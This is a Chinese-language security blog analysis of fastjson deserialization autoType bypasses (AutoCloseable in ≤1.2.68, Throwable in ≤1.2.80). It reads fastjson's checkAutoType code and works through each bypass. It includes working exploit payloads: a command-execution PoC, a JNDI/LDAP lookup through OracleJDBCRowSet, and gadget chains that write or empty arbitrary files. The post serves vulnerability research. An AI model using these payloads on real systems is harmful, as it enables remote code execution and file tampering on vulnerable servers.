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深究fastjson利用分析

七月 31, 2022 - FreeBuf

fastjson <= 1.2.68

对上个版本的修复

在 1.2.47 版本漏洞爆发之后，官方在 1.2.48 对漏洞进行了修复，在MiscCodec处理 Class 类的地方，设置了cache 为 false ，并且loadClass重载方法的默认的调用改为不缓存，这就避免了使用了 Class 提前将恶意类名缓存进去。

更新了一个新的安全控制点 safeMode，如果应用程序开启了 safeMode，将在checkAutoType()中直接抛出异常，也就是完全禁止 autoType

漏洞概述

在这个版本中主要是通过利用checkAutoType中的参数expectClass

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在ParserConfig#checkAutoType中, 如果想要加载的类不在白名单中，如果开启了autoTypeSupport或者expectClassFalg为True都是可以的，这里我们需要在不开启autoTypeSupport的情况下，加载类，所以我们需要使得后者为true

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如上图所示，想要expectClassFlag满足条件，就需要绕过这些内置的黑名单了

所以绕过的方法为：

  1. 以某个类作为expectClass参数传入checkAutoType

  2. 查找反序列化expectClass的子类或实现，如果构造方法或setter中含有其它类型可重复第一步构造一个反序列化链，直到找到可以利用的类为止

漏洞分析

总体

我们需要寻找有哪些类或者接口可以通过校验，存有：

  • 白名单（符合白名单条件的类）

  • TypeUtils.mappings （符合缓存映射中获取的类）

  • typeMapping （ParserConfig中本身带有的集合）

  • deserializers （符合反序列化器的类）

在TypeUtils#getClassFromMapping处打下断点，查看TypeUtils.mappings的可用类或接口

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这里面有很多，比如这个java.lang.AutoCloseable接口

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使用的是JavaBeanDeserializer反序列化器， 在实例化对象的时候因为该类型是接口，则将会继续解析下一个JSON字段

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如果存在而且为类型（@Type修饰）

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就将这个接口作为expectClass参数传入checkAutoType检测下一个类型

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很明显，这里不会被拦截，使得expectClassFlag为true

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直接一路来到了类加载，绕过了AutoType的检测，成功加载了恶意类

package pers.fastjson;
​
import com.alibaba.fastjson.JSON;
​
public class Fj68TestPoc {
public static void main(String[] args) {
String payload = "{"@type":"java.lang.AutoCloseable", "@type":"pers.fastjson.Fj68Test", "cmd":"calc.exe"}";
JSON.parseObject(payload);
}
}

对于java.lang.AutoCloseable的实现非常多，我们需要挖掘实现其的类

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细节

  1. 期望类存在黑名单过滤

    } else {
    if (expectClass == Object.class
    || expectClass == Serializable.class
    || expectClass == Cloneable.class
    || expectClass == Closeable.class
    || expectClass == EventListener.class
    || expectClass == Iterable.class
    || expectClass == Collection.class
    ) {
    expectClassFlag = false;
    } else {
    expectClassFlag = true;
    }
    }

  2. 黑名单类，fastjson 在 denyHashCodes 里几乎把常见的容易造成漏洞的类都加进了黑名单，这就造成了攻击成本变高，如果要利用漏洞，只能花费更多的时间去寻未被发现的常用库 gadget

  3. 父类、父接口黑名单，fastjson 在判断期望类之前将继承自 ClassLoader、DataSource、RowSet 的类直接抛出异常。

    if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
    || javax.sql.DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
    || javax.sql.RowSet.class.isAssignableFrom(clazz) //
    ) {
    throw new JSONException("autoType is not support. " + typeName);
    }

    而常用的 JNDI RCE 类基本上都继承自 DataSource 和 RowSet，所以能找到的 JNDI gadget 基本都无法在这个漏洞中使用。

    以上三点足够让大部分常见的 gadget 无法使用

利用链

JNDI

这里主要是针对1.2.50版本及以前，因为在51版本就把OracleJDBCRowSet加入了黑名单

想要利用这个需要有oracle jdbc依赖

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可以知道这里是实现了java.lang.AutoCloseable接口的，可以绕过autoTypeSupport

调用链如下

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在OracleJDBCRowSet#getConnection中lookup的参数可控，通过调用getDataSourceName方法得到

跟进方法，为其父类的方法，且存在相应属性

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那怎么调用getConnection方法呢？

在setCommand方法中存在调用

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我们就可以设定一个command属性值，触发他的setter方法，达到触发漏洞的目的

Payload
{
"@type":"java.lang.AutoCloseable",
"@type":"oracle.jdbc.rowset.OracleJDBCRowSet",
"dataSourceName":"ldap://localhost:9999/Evil",
"command":"a"
}

文件读写

写文件

浅蓝给的思路：

  • 需要一个通过 set 方法或构造方法指定文件路径的 OutputStream

  • 需要一个通过 set 方法或构造方法传入字节数据的 OutputStream，并且可以通过 set 方法或构造方法传入一个 OutputStream，最后可以通过 write 方法将传入的字节码 write 到传入的 OutputStream

  • 需要一个通过 set 方法或构造方法传入一个 OutputStream，并且可以通过调用 toString、hashCode、get、set、构造方法 调用传入的 OutputStream 的 flush 方法

  • 指定文件路径的 排错

{
"@type": "java.lang.AutoCloseable",
"@type": "java.io.FileOutputStream",
"file": "/tmp/test.txt",
"append": "false"
}

但是这里出现了问题:

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原因是在JavaBeanInfo#build方法中调用ASMUtils.lookupParameterNames(constructor)方法获取构造方法的参数名。如果没找到，则抛出上述异常

使用javap -l <classname>判断是否包含参数名信息

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对比发现不同的JDK不一样

payload1
{
'@type':"java.lang.AutoCloseable",
'@type':'sun.rmi.server.MarshalOutputStream',
'out':
{
'@type':'java.util.zip.InflaterOutputStream',
'out':
{
'@type':'java.io.FileOutputStream',
'file':'/tmp/fj_hack_jdk11',
'append':false
},
'infl':
{
'input':
{
'array':'eJzzSK1USMqv1FHwVEjMVQjKT8oPSS3KAABRJwdZ',
'limit':30
}
},
'bufLen':1048576
},
'protocolVersion':1
}

  • 条件

    需要时带有调试信息的JDK才可以利用成功(JDK11) 同样可以改造成适用于JDK8的payload

    “input”: “eJzzSK1USMqv1FHwVEjMVQjKT8oPSS3KAABRJwdZ”

  • 简单分析

    我们就按照内到外分析，通过InflaterOutputStream的构造方法传入out参数是一个FileOutputStream指定的输出流路径的输出流对象，而另一个参数是infl是一个Inflater对象，通过调用他的setInput方法，指定buffer数据，值得注意的是他会使用com.alibaba.fastjson.serializer.ByteBufferCodec这个反序列化器进行处理，该反序列化器会将数据先反序列化为com.alibaba.fastjson.serializer.ByteBufferCodec$ByteBufferBean，然后再调用ByteBufferCodec$ByteBufferBean#byteBuffer()方法返回ByteBuffer对象

    最后呢，就通过最外层的MarshalOutputStream的构造方法，最终执行了flush，成功写入文件

    因为这里存在一个解压数据的过程，我们就需要将想写入的数据，压缩之后base64编码

    public class InflaterTest {
    ​
    public static byte[] zlibCompress(String message)throws Exception
    {
    String chatacter="UTF-8";
    byte[] input = message.getBytes(chatacter);
    System.out.println("input length "+input.length);
    byte[] output = new byte[input.length+10+new Double(Math.ceil(input.length*0.25f)).intValue()];
    System.out.println(output.length);
    Deflater compresser = new Deflater();
    compresser.setInput(input);
    compresser.finish();
    int compressedDataLength = compresser.deflate(output);
    System.out.println("compressedDataLength "+compressedDataLength);
    compresser.end();
    return Arrays.copyOf(output, compressedDataLength);
    }
    ​
    public static byte[] zlibInfCompress(byte[] barr,String charater)throws Exception{
    byte[] result=new byte[barr.length];
    Inflater inf=new Inflater();
    inf.setInput(barr);
    int infLen=inf.inflate(result);
    inf.end();
    String strOgr=new String(result,charater);
    System.out.println("str ogr "+strOgr);
    return Arrays.copyOf(result, infLen);
    }
    public static void main(String[] args)throws Exception{
    ​
    String str="Hey boy, I am RoboTerh";
    ​
    byte[] def= InflaterTest.zlibCompress(str);
    String strBase=Base64.encodeBase64String(def);
    System.out.println("str base64 string "+strBase);
    byte[] decStr=Base64.decodeBase64(strBase);
    byte[] decode_str= InflaterTest.zlibInfCompress(decStr, "UTF-8");
    String decStrOgr=new String(decode_str,"UTF-8");
    System.out.println("decStrOgr "+decStrOgr);
    }
    }

payload2
{
'stream':
{
'@type':"java.lang.AutoCloseable",
'@type':'org.eclipse.core.internal.localstore.SafeFileOutputStream',
'targetPath':'/tmp/dst',
'tempPath':'/tmp/src'
},
'writer':
{
'@type':"java.lang.AutoCloseable",
'@type':'com.esotericsoftware.kryo.io.Output',
'buffer':'base64',
'outputStream':
{
'$ref':'$.stream'
},
'position':19
},
'close':
{
'@type':"java.lang.AutoCloseable",
'@type':'com.sleepycat.bind.serial.SerialOutput',
'out':
{
'$ref':'$.writer'
}
}
}

  • 其他类似

    当然还有其他的利用链，比如第一个类使用org.apache.tools.ant.util.LazyFileOutputStream指定输出流路径，第二个类使用org.apache.solr.common.util.FastOutputStream, 第三个使用org.iq80.snappy.SnappyOutputStream

  • 依赖：

    <dependency>
    <groupId>org.aspectj</groupId>
    <artifactId>aspectjtools</artifactId>
    <version>1.9.5</version>
    </dependency>
    <dependency>
    <groupId>com.esotericsoftware</groupId>
    <artifactId>kryo</artifactId>
    <version>4.0.0</version>
    </dependency>
    <dependency>
    <groupId>com.sleepycat</groupId>
    <artifactId>je</artifactId>
    <version>18.3.12</version>
    </dependency>

  • 简单分析

    首先在stream中通过SafeFileOutputStream创建一个输出流对象，传入参数targetPathtempPath, 成功指定输出流路径 然后再writer中通过Output的无参构造方法，创建一个输出流对象，通过buffer的setter方法向缓冲区写入数据, 这里应该是base64，因为其调用链为ObjectArrayCodec.deserializer -> JSONScanner.bytesValue -> IOUtils.decodeBase64, 最后通过ouputStream的setter方法将输出流指向stream中

    最后在close中通过SerialOutput创建一个输出流对象，并传入参数out, 指向writer中的输出流对象，最后会调用ObjectOutputStream的构造方法，最后调用Output.flush，成功写入

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    a) 只要dst存在，PoC就会往src写数据，与src是否存在无关。 b) dst不存在、src存在时，先”mv src dst”，再往src写数据。 c) dst、src都不存在时才会往dst写数据。

清空文件
payload
{
"@type":"java.lang.AutoCloseable",
"@type":"java.io.FileOutputStream",
"file":"/tmp/nonexist",
"append":false
}

  • 条件

需要通过ASMUtils.lookupParameterNames()即需要保留有调试信息

  • 分析

这里就是指定了一个路径的输出流，且设定为覆盖模式，且没有写入数据，导致清空文件内容

同样java.io.FileWriter也可以达到目的

fastjson <= 1.2.80

对上个版本的修复

将期望类java.lang.AutoCloseable加入了黑名单

漏洞分析

但是除了AutoCloseable可以进行绕过，Throwable也可以进行绕过，简单分析一下

主要是找到一个Deserializer可以将expressClass作为checkAutoType的参数，且能够突破expressClass的限制，正如这里的ThrowableDeserializer#deserialze中存在

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这里限制了必须为Throwable类或子类，存在一个java.lang.Exception类，不仅在TypeUtils.mappings中存在，而且没有在黑名单中

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所以只需要找到继承java.lang.Exception的类，就能够绕过检查

跟进代码，在第一次进入checkAutoType中的时候expectClass为null,

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一直跟进到这里尝试从mappings中获取缓存

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之后在ParserConfig#getDeserializer通过clazz获取到了反序列化器为ThrowableDeserializer

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之后调用其derserialize方法，跟进

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之后在这里获取下一个@type

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最后在这里将java.lang.Exception类作为expressClass传入

也能够成功绕过黑名单的检验

参考

Fastjson v1.2.80 Throwable AutoType 机制绕过漏洞分析

寻找Fastjson 1.2.68 AutoCloseable利用链(3) (qq.com)

fastjson 读文件 gadget 的利用场景扩展 – 浅蓝 ‘s blog (b1ue.cn)

Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件利用链挖掘分析 (qq.com)

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